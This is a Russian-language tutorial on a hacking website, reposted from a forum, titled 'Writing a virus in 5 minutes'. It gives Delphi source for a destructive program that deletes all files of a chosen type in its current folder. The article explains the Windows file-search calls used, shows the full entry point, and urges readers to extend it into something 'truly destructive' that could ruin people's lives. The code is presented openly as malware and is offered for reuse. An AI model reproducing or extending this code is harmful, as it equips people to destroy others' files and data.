Пятница, 04.07.2025, 18:41
HackingПриветствую Вас Гость | RSS
Главная | Каталог статей | Регистрация | Вход
Меню сайта

Категории каталога
Мои статьи [35]

Наш опрос
Оцените мой сайт
Всего ответов: 154

Главная » Статьи » Мои статьи

Пишем вирус за 5 минут.

Часть I.


3:50 PM 5/27/2008


[ Вступление ]


Сейчас расскажу, как написать вирус за 5 минут, именно деструктивный вирус, то есть тот
который будет удалять файлы определенного формата(формат мы определим в переменной), в текущем
каталоге, где он будет находится. Ну что, перейдем к кодингу...


[ Кодим ]


Кодить мы будем на дельфи, так что установите себе 6-7 версию или любую другую (у меня 6).
Для начала определимся с моделью вируса, что он будет делать и как это реализуем.
Для начала вирус, определяем свое текущее расположение, смотрим код чуть ниже:

 

 

Code
//
// возвращает полный путь
// до папки с нашим вирусом и
// записывает его в VirPath
//
procedure GetVirusPath;
begin
  GetCurrentDirectory(128, VirPath);
end;

Процедура отработала, мы получили путь к вирусу, зачем это нужно - для того чтобы определить текущий каталог, как мы ранее оговорили, наш вирус будет удалять файлы в текущем каталоге определенного формата, по этому рассмотрим функцию удаления файлов по (заданной маске), то есть вирус, не будет удалять все файлы, только переданные в маске и в текущем каталоге. Если чуть модифицировать, то он сможет удалять файлы и вне текущего каталога.
Code

//
// Функция удаляет файлы
// в текущем каталоге, передается  
// маска в которой указывается
// формат удаляемых файлов
//

procedure DeleteFileInCurDir(zsMask : PChar);
var
  lpff: _WIN32_FIND_DATA;
  hFind: dword;
begin
  hFind:=FindFirstFile(zsMask, lpff);
  while FindNextFile(hFind, lpff) do
  begin
  if lpff.cFileName = '..' then continue;
  DeleteFile(lpff.cFileName);
  end;
end;

По сути ядром нашей программы, является функция удаления файлов, так как в ней и осуществляются все основные действия. Давайте подробнее рассмотрим, что и посредством чего здесь выполняется/работает. Три WinAPI функции поиска файлов,
Начало/продолжение/конец поиска файлов, это FindFirstFile, FindNextFile и FindClose соответственно. Первая функция FindFirstFile имеет следующий прототип

Code
HANDLE FindFirstFile(

  LPCTSTR lpFileName, // указатель имени файла для поиска  
  LPWIN32_FIND_DATA lpFindFileData // указатель на возвращаемую информацию  
  );

Возвращаем 0 – при успешности вызова.

Парная функция FindNextFile, имеет такой прототип

Code
BOOL FindNextFile(

  HANDLE hFindFile, // описатель поиска
  LPWIN32_FIND_DATA lpFindFileData // указатель на структуру данных найденных файлов
  );

То есть, она принимает параметры от предыдущей функции FindFirstFile.
Функция завершающая поиск FindClose
Code
BOOL FindClose(

  HANDLE hFindFile // принимает обработчик
  );

Единственный параметр, это обработчик поиска, она выполняет закрытие поиска.
Три парные функции мы рассмотрели теперь рассмотрим структуру поиска,
Code
typedef struct _WIN32_FIND_DATA { // wfd  
  DWORD dwFileAttributes; // атрибуты файла
  FILETIME ftCreationTime; // время создания
  FILETIME ftLastAccessTime; // последний доступ
  FILETIME ftLastWriteTime; // последняя запись в файл
  DWORD nFileSizeHigh; // размер файла (максимум)
  DWORD nFileSizeLow; // размер файла (минимум)
  DWORD dwReserved0; // зарезервировано до след. версий
  DWORD dwReserved1; // также
  TCHAR cFileName[ MAX_PATH ]; // имя найденного файла
  TCHAR cAlternateFileName[ 14 ]; // альтернативное имя файла
} WIN32_FIND_DATA;

После выполнения функции FindFirstFile заполняется структура WIN32_FIND_DATA, в нашем случае наша переменная lpff, в lpff подробная информация о искомом файле. Затем мы уже можем, обращаться к переменной lpff.cFileName и удалять её, если она конечно соответствует формату передаваемому в szMask.

Одно замечание, процедура

Code
procedure GetVirusPath;
begin
  GetCurrentDirectory(128, VirPath);
end;

Определяющая текущий каталог вируса, не будет использоваться в нашем случае, но пригодится нам в следующих версиях статьи/вируса, выходит это потому что мы сразу ищем в текущем каталоге файлы.

Если вы до сих пор сомневаетесь в работоспособности нашего «псевда-вируса», запустите его, передав функции DeleteFileInCurDir, необходимое расширение файла.
Пока вирус (да и статья тоже) по эффективности похожа на bat файл, с содержимым
Код:

Code
Del *.txt

Но, в следующих версиях будет намного круче, к тому же я не знал вашего уровня знаний, а здесь рассмотрены ключевые структуры работы с файлами, которые будут применяться в следующих версиях.

[ На последок ]

1) Находим путь к нашему вирусу // не используется
2) И удаляем в текущем каталоге вируса, файлы определенного формата
3) Выходим, до нового старта

Все теперь наша точка входа должна выглядеть вот так:

Code

begin

  // Получаем путь до нашего вируса
  //GetVirusPath; до будущих времен

  // Удаляем файлы (повторюсь определенного формата) в текущем каталоге
  DeleteFileInCurDir ('*.txt'); // определяю формат TXT

  // Выходим
  ExitProcess(0);
   
end.

И вот примитивный вирус за 5 минут готов. При переделки его можно превратить
В по настоящему деструктивный и очень опасный, который сможет испортить людям
жизнь, но к счастью я не преследую такой задачи. Статья написана из интереса и только, вы можете модифицировать исходный код моего «псевдо-вируса», так как во первых – я не смогу проследить ваши действия, во вторых – оно мне не нужно.

[ Заключение ]

4:02 PM 5/27/2008 - примерно в это время я закончил писать эти строки.
Все исходные коды, к этой мини статье я прилагаю. Я описал основные, методы которыми должен обладать такой вирус, теперь вы сможете сами создать, что-то более сложное и по функциональнее чем мое творение.

Возможно, я вообще не умею писать, по этому вас стоит
Черкнуть пару строк, прокомментируйте мою мини-статью и «песвдавирус» тоже.

© VirusWriter 2008

Источник: http://forum.xaknet.ru

Категория: Мои статьи | Добавил: SysAdmin (19.06.2008) | Автор: Derek
Просмотров: 862 | Рейтинг: 0.0/0 |
Всего комментариев: 0
Имя *:
Email *:
Код *:
Форма входа

Поиск

Друзья сайта

Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0

Copyright MyCorp © 2025 Конструктор сайтовuCoz